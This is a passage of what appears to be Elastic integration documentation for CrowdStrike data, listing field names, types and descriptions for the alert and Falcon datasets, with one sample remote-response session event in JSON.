keyword | +| crowdstrike.alert.scenario | | keyword | +| crowdstrike.alert.seconds_to_resolved | | long | +| crowdstrike.alert.seconds_to_triaged | | long | +| crowdstrike.alert.severity | | long | +| crowdstrike.alert.severity_name | | keyword | +| crowdstrike.alert.sha1 | | keyword | +| crowdstrike.alert.sha256 | | keyword | +| crowdstrike.alert.show_in_ui | | boolean | +| crowdstrike.alert.source.account_azure_id | | keyword | +| crowdstrike.alert.source.account_domain | | keyword | +| crowdstrike.alert.source.account_name | | keyword | +| crowdstrike.alert.source.account_object_guid | | keyword | +| crowdstrike.alert.source.account_object_sid | | keyword | +| crowdstrike.alert.source.account_sam_account_name | | keyword | +| crowdstrike.alert.source.account_upn | | keyword | +| crowdstrike.alert.source.endpoint_account_object_guid | | keyword | +| crowdstrike.alert.source.endpoint_account_object_sid | | keyword | +| crowdstrike.alert.source.endpoint_address_ip4 | | ip | +| crowdstrike.alert.source.endpoint_host_name | | keyword | +| crowdstrike.alert.source.endpoint_ip_address | | ip | +| crowdstrike.alert.source.endpoint_ip_reputation | | long | +| crowdstrike.alert.source.endpoint_sensor_id | | keyword | +| crowdstrike.alert.source.ip_isp_classification | | long | +| crowdstrike.alert.source.ip_isp_domain | | keyword | +| crowdstrike.alert.source_products | | keyword | +| crowdstrike.alert.source_vendors | | keyword | +| crowdstrike.alert.start_time | | date | +| crowdstrike.alert.status | | keyword | +| crowdstrike.alert.tactic | | keyword | +| crowdstrike.alert.tactic_id | | keyword | +| crowdstrike.alert.tags | | keyword | +| crowdstrike.alert.target.account_name | | keyword | +| crowdstrike.alert.target.domain_controller_host_name | | keyword | +| crowdstrike.alert.target.domain_controller_object_guid | | keyword | +| crowdstrike.alert.target.domain_controller_object_sid | | keyword | +| crowdstrike.alert.target.endpoint_account_object_guid | | keyword | +| crowdstrike.alert.target.endpoint_account_object_sid | | keyword | +| crowdstrike.alert.target.endpoint_host_name | | keyword | +| crowdstrike.alert.target.endpoint_sensor_id | | keyword | +| crowdstrike.alert.target.service_access_identifier | | keyword | +| crowdstrike.alert.technique | | keyword | +| crowdstrike.alert.technique_id | | keyword | +| crowdstrike.alert.template_instance_id | | keyword | +| crowdstrike.alert.timestamp | | date | +| crowdstrike.alert.tree_id | | keyword | +| crowdstrike.alert.tree_root | | keyword | +| crowdstrike.alert.triggering_process_graph_id | | keyword | +| crowdstrike.alert.type | | keyword | +| crowdstrike.alert.updated_timestamp | | date | +| crowdstrike.alert.user_id | | keyword | +| crowdstrike.alert.user_name | | keyword | +| crowdstrike.alert.user_principal | | keyword | +| crowdstrike.alert.worker_node_name | | keyword | +| data_stream.dataset | Data stream dataset. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| event.dataset | Event dataset. | constant_keyword | +| event.module | Event module. | constant_keyword | +| input.type | Type of filebeat input. | keyword | +| log.offset | Log offset. | long | +| tags | List of keywords used to tag each event. | keyword | +| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword | +| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword | +| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | + + +### Falcon + +This is the `falcon` dataset. + +#### Example + +An example event for `falcon` looks as following: + +```json +{ + "@timestamp": "2023-11-02T13:41:34.000Z", + "agent": { + "ephemeral_id": "8f4a039c-66d4-439c-a43f-c5a95f653dd4", + "id": "67072e92-576d-47d8-8a43-ebb347b4250b", + "name": "elastic-agent-93422", + "type": "filebeat", + "version": "8.18.1" + }, + "crowdstrike": { + "event": { + "AgentIdString": "fffffffff33333", + "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a" + }, + "metadata": { + "customerIDString": "abcabcabc22221", + "eventType": "RemoteResponseSessionStartEvent", + "offset": 1, + "version": "1.0" + } + }, + "data_stream": { + "dataset": "crowdstrike.falcon", + "namespace": "99576", + "type": "logs" + }, + "ecs": { + "version": "8.17.0" + }, + "elastic_agent": { + "id": "67072e92-576d-47d8-8a43-ebb347b4250b", + "snapshot": false, + "version": "8.18.1" + }, + "event": { + "action": [ + "remote_response_session_start_event" + ], + "agent_id_status": "verified", + "category": [ + "network", + "session" + ], + "created": "2023-11-02T13:41:34.000Z", + "dataset": "crowdstrike.falcon", + "ingested": "2025-05-30T08:29:21Z", + "kind": "event", + "original": "{\"event\":{\"AgentIdString\":\"fffffffff33333\",\"HostnameField\":\"UKCHUDL00206\",\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"StartTimestamp\":1698932494,\"UserName\":\"admin.rose@example.com\"},\"metadata\":{\"customerIDString\":\"abcabcabc22221\",\"eventCreationTime\":1698932494000,\"eventType\":\"RemoteResponseSessionStartEvent\",\"offset\":1,\"version\":\"1.0\"}}", + "start": "2023-11-02T13:41:34.000Z", + "type": [ + "start" + ] + }, + "host": { + "name": "UKCHUDL00206" + }, + "input": { + "type": "streaming" + }, + "message": "Remote response session started.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "UKCHUDL00206" + ], + "user": [ + "admin.rose", + "admin.rose@example.com" + ] + }, + "tags": [ + "preserve_original_event", + "forwarded", + "crowdstrike-falcon" + ], + "user": { + "domain": "example.com", + "email": "admin.rose@example.com", + "name": "admin.rose" + } +} +``` + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| agent.id | Unique identifier of this agent (if one exists). Example: For Beats this would be beat.id. | keyword | +| agent.name | Custom name of the agent. This is a name that can be given to an agent. This can be helpful if for example two Filebeat instances are running on the same host but a human readable separation is needed on which Filebeat instance data is coming from. | keyword | +| agent.type | Type of the agent. The agent type always stays the same and should be given by the agent used. In case of Filebeat the agent would always be Filebeat also if two Filebeat instances are run on the same machine. | keyword | +| agent.version | Version of the agent. | keyword | +| cloud.image.id | Image ID for the cloud instance. | keyword | +| crowdstrike.event.AccountCreationTimeStamp | The timestamp of when the source account was created in Active Directory. | date | +| crowdstrike.event.AccountId | | keyword | +| crowdstrike.event.ActivityId | ID of the activity that triggered the detection. | keyword | +| crowdstrike.event.AddedPrivilege | The difference between their current and previous list of privileges. | keyword | +| crowdstrike.event.AdditionalAccountObjectGuid | Additional involved user object GUID. | keyword | +| crowdstrike.event.AdditionalAccountObjectSid | Additional involved user object SID. | keyword | +| crowdstrike.event.AdditionalAccountUpn | Additional involved user UPN. | keyword | +| crowdstrike.event.AdditionalActivityId | ID of an additional activity related to the detection. | keyword | +| crowdstrike.event.AdditionalEndpointAccountObjectGuid | Additional involved endpoint object GUID. | keyword | +| crowdstrike.event.AdditionalEndpointAccountObjectSid | Additional involved endpoint object SID. | keyword | +| crowdstrike.event.AdditionalEndpointSensorId | Additional involved endpoint agent ID. | keyword | +| crowdstrike.event.AdditionalLocationCountryCode | Additional involved country code. | keyword | +| crowdstrike.event.AdditionalSsoApplicationIdentifier | Additional application identifier. | keyword | +| crowdstrike.event.AgentId | | keyword | +| crowdstrike.event.AgentIdString | | keyword | +| crowdstrike.event.AggregateId | | keyword | +| crowdstrike.event.AnodeIndicators | | nested | +| crowdstrike.event.AnomalousTicketContentClassification | Ticket signature analysis. | keyword | +| crowdstrike.event.AssociatedFile | The file associated with the triggering indicator. | keyword | +| crowdstrike.event.Attributes | JSON objects containing additional information about the event. | flattened | +| crowdstrike.event.AuditKeyValues | Fields that were changed in this event. | nested | +| crowdstrike.event.AuditKeyValues.Key | | keyword | +| crowdstrike.event.AuditKeyValues.ValueString | | keyword | +| crowdstrike.event.Category | IDP incident category. | keyword | +| crowdstrike.event.CertificateTemplateIdentifier | The ID of the certificate template. | keyword | +| crowdstrike.event.CertificateTemplateName | Name of the certificate template. | keyword | +| crowdstrike.event.Certificates | Provides one or more JSON objects which includes related SSL/TLS Certificates. | nested | +| crowdstrike.event.CloudPlatform | | keyword | +| crowdstrike.event.CloudProvider | | keyword | +| crowdstrike.event.CloudService | | keyword | +| crowdstrike.event.Commands | Commands run in a remote session. | keyword | +| crowdstrike.event.CompositeId | Global unique identifier that identifies a unique alert. | keyword | +| crowdstrike.event.ComputerName | Name of the computer where the detection occurred. | keyword | +| crowdstrike.event.ContentPatternCounts | | nested | +| crowdstrike.event.ContentPatterns.ConfidenceLevel | | long | +| crowdstrike.event.ContentPatterns.ID | | keyword | +| crowdstrike.event.ContentPatterns.MatchCount | | long | +| crowdstrike.event.ContentPatterns.Name | | keyword | +| crowdstrike.event.CustomerId | Customer identifier. | keyword | +| crowdstrike.event.DataDomains | Data domains of the event that was the primary indicator or created it. | keyword | +| crowdstrike.event.Description | | keyword | +| crowdstrike.event.Destination | | nested | +| crowdstrike.event.Destination.Channel | | keyword | +| crowdstrike.event.DetectId | Unique ID associated with the detection. | keyword | +| crowdstrike.event.DetectName | Name of the detection. | keyword | +| crowdstrike.event.DetectionType | | keyword | +| crowdstrike.event.DeviceId | Device on which the event occurred. | keyword | +| crowdstrike.event.DnsRequests | Detected DNS requests done by a process. | nested | +| crowdstrike.event.DocumentsAccessed | Detected documents accessed by a process. | nested | +| crowdstrike.event.DomainName | | keyword | +| crowdstrike.event.EgressEventId | | keyword | +| crowdstrike.event.EgressSessionId | | keyword | +| crowdstrike.event.EmailAddresses | Summary list of all associated entity email addresses. | keyword | +| crowdstrike.event.EnvironmentVariables | Provides one or more JSON objects which includes related environment variables. | nested | +| crowdstrike.event.EventTimestamp | | date | +| crowdstrike.event.EventType | CrowdStrike provided event type. | keyword | +| crowdstrike.event.ExecutablesWritten | Detected executables written to disk by a process. | nested | +| crowdstrike.event.ExecutablesWritten.FileName | | keyword | +| crowdstrike.event.ExecutablesWritten.FilePath | | keyword | +| crowdstrike.event.ExecutablesWritten.Timestamp | | keyword | +| crowdstrike.event.ExecutionID | | keyword | +| crowdstrike.event.ExecutionMetadata.ExecutionDuration | | long | +| crowdstrike.event.ExecutionMetadata.ExecutionStart | | date | +| crowdstrike.event.ExecutionMetadata.ReportFileName | | keyword | +| crowdstrike.event.ExecutionMetadata.ResultCount | | long | +| crowdstrike.event.ExecutionMetadata.ResultID | | keyword | +| crowdstrike.event.ExecutionMetadata.SearchWindowEnd | | date | +| crowdstrike.event.ExecutionMetadata.SearchWindowStart | | date | +| crowdstrike.event.FalconHostLink | | keyword | +| crowdstrike.event.FileCategoryCounts | | nested | +| crowdstrike.event.FileName | | keyword | +| crowdstrike.event.FilePath | | keyword | +| crowdstrike.event.FileType.Type.CategoryID | | keyword | +| crowdstrike.event.FileType.Type.CategoryName | | keyword | +| crowdstrike.event.FileType.Type.Description | | keyword | +| crowdstrike.event.FileType.Type.ID | | keyword | +| crowdstrike.event.FileType.Type.Name | | keyword | +| crowdstrike.event.FilesAccessed.FileName | | keyword | +| crowdstrike.event.FilesAccessed.FilePath | | keyword | +| crowdstrike.event.FilesAccessed.Timestamp | | date | +| crowdstrike.event.FilesEgressedCount | | long | +| crowdstrike.event.FilesWritten.FileName | | keyword | +| crowdstrike.event.FilesWritten.FilePath | | keyword | +| crowdstrike.event.FilesWritten.Timestamp | | date | +| crowdstrike.event.Finding | The details of the finding. | keyword | +| crowdstrike.event.FineScore | The highest incident score reached as of the time the event was sent. | float | +| crowdstrike.event.Flags.Audit | CrowdStrike audit flag. | boolean | +| crowdstrike.event.Flags.Log | CrowdStrike log flag. | boolean | +| crowdstrike.event.Flags.Monitor | CrowdStrike monitor flag. | boolean | +| crowdstrike.event.GrandParentCommandLine | | keyword | +| crowdstrike.event.GrandParentImageFileName | | keyword | +| crowdstrike.event.GrandParentImageFilePath | | keyword | +| crowdstrike.event.GrandparentCommandLine | Grandparent process command line arguments. | keyword | +| crowdstrike.event.GrandparentImageFileName | Path to the grandparent process. | keyword | +| crowdstrike.event.GrandparentImageFilePath | | keyword | +| crowdstrike.event.Highlights | Sections of content that matched the monitoring rule. | text | +| crowdstrike.event.HostGroups | Array of related Host Group IDs. | keyword | +| crowdstrike.event.Hostname | | keyword | +| crowdstrike.event.ICMPCode | RFC2780 ICMP Code field. | keyword | +| crowdstrike.event.ICMPType | RFC2780 ICMP Type field. | keyword | +| crowdstrike.event.IOARuleGroupName | | keyword | +| crowdstrike.event.IOARuleInstanceID | | keyword | +| crowdstrike.event.IOARuleInstanceVersion | Version number of the InstanceID that triggered. | long | +| crowdstrike.event.IOARuleName | Name given to the custom IOA rule that triggered. | keyword | +| crowdstrike.event.IOCType | CrowdStrike type for indicator of compromise. | keyword | +| crowdstrike.event.IOCValue | CrowdStrike value for indicator of compromise. | keyword | +| crowdstrike.event.IPv4 | | ip | +| crowdstrike.event.IPv6 | | ip | +| crowdstrike.event.IdpPolicyRuleAction | Identity Protection policy rule action. | keyword | +| crowdstrike.event.IdpPolicyRuleName | Identity Protection policy rule name. | keyword | +| crowdstrike.event.IdpPolicyRuleTrigger | Identity Protection policy rule trigger. | keyword | +| crowdstrike.event.IncidentType | Incident Type | keyword | +| crowdstrike.event.Ipv | Protocol for network request. | keyword | +| crowdstrike.event.IsClipboard | | boolean | +| crowdstrike.event.ItemPostedTimestamp | Time the raw intelligence was posted. | date | +| crowdstrike.event.ItemType | Type of raw intelligence. | keyword | +| crowdstrike.event.KeyStoreErrors | Describes a KeyStore error. | keyword | +| crowdstrike.event.LMHostIDs | Array of host IDs seen to have experienced lateral movement because of the incident. | keyword | +| crowdstrike.event.LateralMovement | Lateral movement field for incident. | long | +| crowdstrike.event.LdapSearchQueryAttack | Detected LDAP tool attack. | keyword | +| crowdstrike.event.LoadedObjects | Provides one or more JSON objects describing the loaded objects related to the detection. | nested | +| crowdstrike.event.LocalIP | IP address of the host associated with the detection. | keyword | +| crowdstrike.event.LocalIPv6 | | ip | +| crowdstrike.event.LogonDomain | | keyword | +| crowdstrike.event.MACAddress | MAC address of the host associated with the detection. | keyword | +| crowdstrike.event.MD5String | MD5 sum of the executable associated with the detection. | keyword | +| crowdstrike.event.MachineDomain | Domain for the machine associated with the detection. | keyword | +| crowdstrike.event.MatchCount | Number of firewall rule matches. | long | +| crowdstrike.event.MatchCountSinceLastReport | Number of firewall rule matches since the last report. | long | +| crowdstrike.event.MatchedClassification.ID | | keyword | +| crowdstrike.event.MatchedClassification.Name | | keyword | +| crowdstrike.event.MitreAttack.PatternID | | keyword | +| crowdstrike.event.MitreAttack.Tactic | | keyword | +| crowdstrike.event.MitreAttack.TacticID | | keyword | +| crowdstrike.event.MitreAttack.Technique | | keyword | +| crowdstrike.event.MitreAttack.TechniqueID | | keyword | +| crowdstrike.event.MobileAppsDetails | Provides one or more JSON objects describing the related mobile applications. | nested | +| crowdstrike.event.MobileAppsDetails.AndroidAppLabel | | keyword | +| crowdstrike.event.MobileAppsDetails.AndroidAppVersionName | | keyword | +| crowdstrike.event.MobileAppsDetails.AppIdentifier | | keyword | +| crowdstrike.event.MobileAppsDetails.AppInstallerInformation | | keyword | +| crowdstrike.event.MobileAppsDetails.DexFileHashes | | keyword | +| crowdstrike.event.MobileAppsDetails.ImageFileName | | keyword | +| crowdstrike.event.MobileAppsDetails.IsBeingDebugged | | keyword | +| crowdstrike.event.MobileAppsDetails.IsContainerized | | keyword | +| crowdstrike.event.MobileDnsRequests | Provides one or more JSON objects describing the related DNS requests from the mobile device. | nested | +| crowdstrike.event.MobileNetworkConnections | Provides one or more JSON objects describing the related network connections from the mobile device. | nested | +| crowdstrike.event.MostRecentActivityTimeStamp | The timestamp of the latest activity performed by the account. | date | +| crowdstrike.event.MountedVolumes | Provides one or more JSON objects describing mounted volumes on the mobile device. | nested | +| crowdstrike.event.Name | | keyword | +| crowdstrike.event.NetworkAccesses | Detected Network traffic done by a process. | nested | +| crowdstrike.event.NetworkAccesses.AccessTimestamp | | keyword | +| crowdstrike.event.NetworkAccesses.AccessType | | keyword | +| crowdstrike.event.NetworkAccesses.ConnectionDirection | | keyword | +| crowdstrike.event.NetworkAccesses.IsIPV6 | | keyword | +| crowdstrike.event.NetworkAccesses.LocalAddress | | keyword | +| crowdstrike.event.NetworkAccesses.LocalPort | | keyword | +| crowdstrike.event.NetworkAccesses.Protocol | | keyword | +| crowdstrike.event.NetworkAccesses.RemoteAddress | | keyword | +| crowdstrike.event.NetworkAccesses.RemotePort | | keyword | +| crowdstrike.event.NetworkProfile | CrowdStrike network profile. | keyword | +| crowdstrike.event.NotificationId | ID of the generated notification. | keyword | +| crowdstrike.event.NumberOfCompromisedEntities | Number of compromised entities, users and endpoints. | long | +| crowdstrike.event.NumbersOfAlerts | Number of alerts in the identity-based incident. | long | +| crowdstrike.event.OARuleInstanceID | Numerical ID of the custom IOA rule under a given CID. | keyword | +| crowdstrike.event.Objective | Method of detection. | keyword | +| crowdstrike.event.ObjectiveCRuntimesAltered | Provides one or more JSON objects describing the obj-c methods related to the malware. | nested | +| crowdstrike.event.OperationName | Event subtype. | keyword | +| crowdstrike.event.OriginWebLocations | | flattened | +| crowdstrike.event.ParentImageFileName | The parent image file name involved. | keyword | +| crowdstrike.event.ParentImageFilePath | | keyword | +| crowdstrike.event.ParentProcessId | | long | +| crowdstrike.event.PatternDispositionDescription | | keyword | +| crowdstrike.event.PatternDispositionFlags.BlockingUnsupportedOrDisabled | | boolean | +| crowdstrike.event.PatternDispositionFlags.BootupSafeguardEnabled | | boolean | +| crowdstrike.event.PatternDispositionFlags.ContainmentFileSystem | | boolean | +| crowdstrike.event.PatternDispositionFlags.CriticalProcessDisabled | | boolean | +| crowdstrike.event.PatternDispositionFlags.Detect | | boolean | +| crowdstrike.event.PatternDispositionFlags.FsOperationBlocked | | boolean | +| crowdstrike.event.PatternDispositionFlags.HandleOperationDowngraded | | boolean | +| crowdstrike.event.PatternDispositionFlags.InddetMask | | boolean | +| crowdstrike.event.PatternDispositionFlags.Indicator | | boolean | +| crowdstrike.event.PatternDispositionFlags.KillActionFailed | | boolean | +| crowdstrike.event.PatternDispositionFlags.KillParent | | boolean | +| crowdstrike.event.PatternDispositionFlags.KillProcess | | boolean | +| crowdstrike.event.PatternDispositionFlags.KillSubProcess | | boolean | +| crowdstrike.event.PatternDispositionFlags.OperationBlocked | | boolean | +| crowdstrike.event.PatternDispositionFlags.PolicyDisabled | | boolean | +| crowdstrike.event.PatternDispositionFlags.ProcessBlocked | | boolean | +| crowdstrike.event.PatternDispositionFlags.QuarantineFile | | boolean | +| crowdstrike.event.PatternDispositionFlags.QuarantineMachine | | boolean | +| crowdstrike.event.PatternDispositionFlags.RegistryOperationBlocked | | boolean | +| crowdstrike.event.PatternDispositionFlags.Rooting | | boolean | +| crowdstrike.event.PatternDispositionFlags.SensorOnly | | boolean | +| crowdstrike.event.PatternDispositionFlags.SuspendParent | | boolean | +| crowdstrike.event.PatternDispositionFlags.SuspendProcess | | boolean | +| crowdstrike.event.PatternDispositionValue | Unique ID associated with action taken. | integer | +| crowdstrike.event.PatternId | The numerical ID of the pattern associated with the action taken on the detection. | keyword | +| crowdstrike.event.PlatformId | | keyword | +| crowdstrike.event.PlatformName | | keyword | +| crowdstrike.event.PolicyID | CrowdStrike policy id. | keyword | +| crowdstrike.event.PolicyId | The ID of the associated Policy. | long | +| crowdstrike.event.PolicyName | CrowdStrike policy name. | keyword | +| crowdstrike.event.PrecedingActivityTimeStamp | The timestamp of the activity before the most recent activity was performed. | date | +| crowdstrike.event.PreviousPrivileges | A list of the source account's privileges before privilege changes were made. | keyword | +| crowdstrike.event.ProcessId | | long | +| crowdstrike.event.Protocol | CrowdStrike provided protocol. | keyword | +| crowdstrike.event.ProtocolAnomalyClassification | Authentication signature analysis. | keyword | +| crowdstrike.event.ReferrerUrl | | keyword | +| crowdstrike.event.Region | | keyword | +| crowdstrike.event.RelatedClassifications.ID | | keyword | +| crowdstrike.event.RelatedClassifications.Name | | keyword | +| crowdstrike.event.ReportFileReference | | keyword | +| crowdstrike.event.ReportID | | keyword | +| crowdstrike.event.ReportName | | keyword | +| crowdstrike.event.ReportType | | keyword | +| crowdstrike.event.ResourceAttributes | A JSON blob with all resource attributes. | flattened | +| crowdstrike.event.ResourceId | The cloud resource identifier. | keyword | +| crowdstrike.event.ResourceIdType | The type of the detected resource identifier. | keyword | +| crowdstrike.event.ResourceName | Resource name if any. | keyword | +| crowdstrike.event.ResourceUrl | The URL to the cloud resource. | keyword | +| crowdstrike.event.ResponseAction | | keyword | +| crowdstrike.event.RootAccessIndicators | Provides one or more JSON objects which includes logs and stack traces from the suspicious source. | nested | +| crowdstrike.event.RpcOpClassification | RPC operation type. | keyword | +| crowdstrike.event.RuleAction | Firewall rule action. | keyword | +| crowdstrike.event.RuleId | | keyword | +| crowdstrike.event.RulePriority | Priority of the monitoring rule that found the match. | keyword | +| crowdstrike.event.SELinuxEnforcementPolicy | State of SELinux enforcement policy on an Android device. | keyword | +| crowdstrike.event.SHA1String | SHA1 sum of the executable associated with the detection. | keyword | +| crowdstrike.event.SHA256String | SHA256 sum of the executable associated with the detection. | keyword | +| crowdstrike.event.SafetyNetAdvice | Provides information to help explain why the Google SafetyNet Attestation API set eitherCTSProfileMatch or BasicIntegrity fields to false. | keyword | +| crowdstrike.event.SafetyNetBasicIntegrity | The result of a more lenient verdict for device integrity. | keyword | +| crowdstrike.event.SafetyNetCTSProfileMatch | The result of a stricter verdict for device integrity. | keyword | +| crowdstrike.event.SafetyNetErrorMessage | An encoded error message. | keyword | +| crowdstrike.event.SafetyNetErrors | Describes a SafetyNet error | keyword | +| crowdstrike.event.SafetyNetEvaluationType | Provides information about the type of measurements used to compute fields likeCTSProfileMatch and BasicIntegrity. | keyword | +| crowdstrike.event.ScanResults | Array of scan results. | nested | +| crowdstrike.event.ScheduledSearchExecutionId | ID of the specific search execution. | keyword | +| crowdstrike.event.ScheduledSearchId | Unique identifier of the associated scheduled search. | keyword | +| crowdstrike.event.ScheduledSearchUserId | User ID of the user that created the the associated scheduled search. | keyword | +| crowdstrike.event.ScheduledSearchUserUUID | UUID of the user that created the the associated scheduled search. | keyword | +| crowdstrike.event.SensorId | Unique ID associated with the Falcon sensor. | keyword | +| crowdstrike.event.ServiceName | Description of which related service was involved in the event. | keyword | +| crowdstrike.event.SessionId | Session ID of the remote response session. | keyword | +| crowdstrike.event.Severity | The integer severity level using Crowdstrike scaling. | integer | +| crowdstrike.event.SeverityName | The severity level of the detection, as a string (High/Medium/Informational). | keyword | +| crowdstrike.event.SourceAccountUpn | Source user UPN. | keyword | +| crowdstrike.event.SourceEndpointAccountObjectGuid | Source endpoint object GUID | keyword | +| crowdstrike.event.SourceEndpointAccountObjectSid | Source endpoint object SID. | keyword | +| crowdstrike.event.SourceEndpointIpReputation | Source endpoint IP reputation. | keyword | +| crowdstrike.event.SourceEndpointSensorId | Source endpoint agent ID. | keyword | +| crowdstrike.event.SourceProducts | Names of the products from which the source data originated. | keyword | +| crowdstrike.event.SourceVendors | Names of the vendors from which the source data originated. | keyword | +| crowdstrike.event.SsoApplicationIdentifier | Destination application identifier. | keyword | +| crowdstrike.event.State | Identity-based detection or incident status. | keyword | +| crowdstrike.event.Status | CrowdStrike status. | keyword | +| crowdstrike.event.StatusMessage | | keyword | +| crowdstrike.event.Success | Indicator of whether or not this event was successful. | boolean | +| crowdstrike.event.SuspiciousMachineAccountAlterationType | Machine alteration type. | keyword | +| crowdstrike.event.SystemProperties | Provides one or more JSON objects which includes related system properties. | nested | +| crowdstrike.event.Tags | Tags on the cloud resources if any. | nested | +| crowdstrike.event.TargetAccountDomain | Target user domain. | keyword | +| crowdstrike.event.TargetAccountName | Target user name. | keyword | +| crowdstrike.event.TargetAccountObjectSid | Target user object SID. | keyword | +| crowdstrike.event.TargetAccountUpn | Target user UPN. | keyword | +| crowdstrike.event.TargetEndpointAccountObjectGuid | Target endpoint object GUID. | keyword | +| crowdstrike.event.TargetEndpointAccountObjectSid | Target endpoint object SID. | keyword | +| crowdstrike.event.TargetEndpointHostName | Target endpoint hostname. | keyword | +| crowdstrike.event.TargetEndpointSensorId | Target endpoint agent ID. | keyword | +| crowdstrike.event.TargetServiceAccessIdentifier | Target SPN. | keyword | +| crowdstrike.event.Timestamp | Firewall rule triggered timestamp. | date | +| crowdstrike.event.Trampolines | Provides one or more JSON objects describing the relevant functions and processes performing inline API hooks. | nested | +| crowdstrike.event.TreeID | CrowdStrike tree id. | keyword | +| crowdstrike.event.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword | +| crowdstrike.event.UserDepartment | | keyword | +| crowdstrike.event.UserId | Email address or user ID associated with the event. | keyword | +| crowdstrike.event.UserMapped | | boolean | +| crowdstrike.event.UserName | | keyword | +| crowdstrike.event.UserNotified | | boolean | +| crowdstrike.event.UserTitle | | keyword | +| crowdstrike.event.UserUUID | | keyword | +| crowdstrike.event.VerifiedBootState | Provides the device’s current boot state. | keyword | +| crowdstrike.event.XdrType | Type of detection: xdr or xdr-scheduled-search. | keyword | +| crowdstrike.metadata.customerIDString | Customer identifier | keyword | +| crowdstrike.metadata.eventType | DetectionSummaryEvent, FirewallMatchEvent, IncidentSummaryEvent, RemoteResponseSessionStartEvent, RemoteResponseSessionEndEvent, AuthActivityAuditEvent, or UserActivityAuditEvent | keyword | +| crowdstrike.metadata.offset | Offset number that tracks the location of the event in stream. This is used to identify unique detection events. | integer | +| crowdstrike.metadata.version | Schema version | keyword | +| data_stream.dataset | Data stream dataset name. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | +| destination.as.organization.name | Organization name. | keyword | +| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text | +| destination.geo.city_name | City name. | keyword | +| destination.geo.continent_name | Name of the continent. | keyword | +| destination.geo.country_iso_code | Country ISO code. | keyword | +| destination.geo.country_name | Country name. | keyword | +| destination.geo.location | Longitude and latitude. | geo_point | +| destination.geo.region_iso_code | Region ISO code. | keyword | +| destination.geo.region_name | Region name. | keyword | +| destination.ip | IP address of the destination (IPv4 or IPv6). | ip | +| destination.port | Port of the destination. | long | +| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword | +| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | keyword | +| error.message | Error message. | match_only_text | +| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword | +| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword | +| event.code | Identification code for this event, if one exists. Some event sources use event codes to identify messages unambiguously, regardless of message language or wording adjustments over time. An example of this is the Windows Event ID. | keyword | +| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date | +| event.dataset | Event dataset | constant_keyword | +| event.end | `event.end` contains the date when the event ended or when the activity was last observed. | date | +| event.ingested | Timestamp when an event arrived in the central data store. This is different from `@timestamp`, which is when the event originally occurred. It's also different from `event.created`, which is meant to capture the first time an agent saw the event. In normal conditions, assuming no tampering, the timestamps should chronologically look like this: `@timestamp` \< `event.created` \< `event.ingested`. | date | +| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword | +| event.module | Event module | constant_keyword | +| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword | +| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword | +| event.severity | The numeric severity of the event according to your event source. What the different severity values mean can be different between sources and use cases. It's up to the implementer to make sure severities are consistent across events from the same source. The Syslog severity belongs in `log.syslog.severity.code`. `event.severity` is meant to represent the severity according to the event source (e.g. firewall, IDS). If the event source does not publish its own severity, you may optionally copy the `log.syslog.severity.code` to `event.severity`. | long | +| event.start | `event.start` contains the date when the event started or when the activity was first observed. | date | +| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the 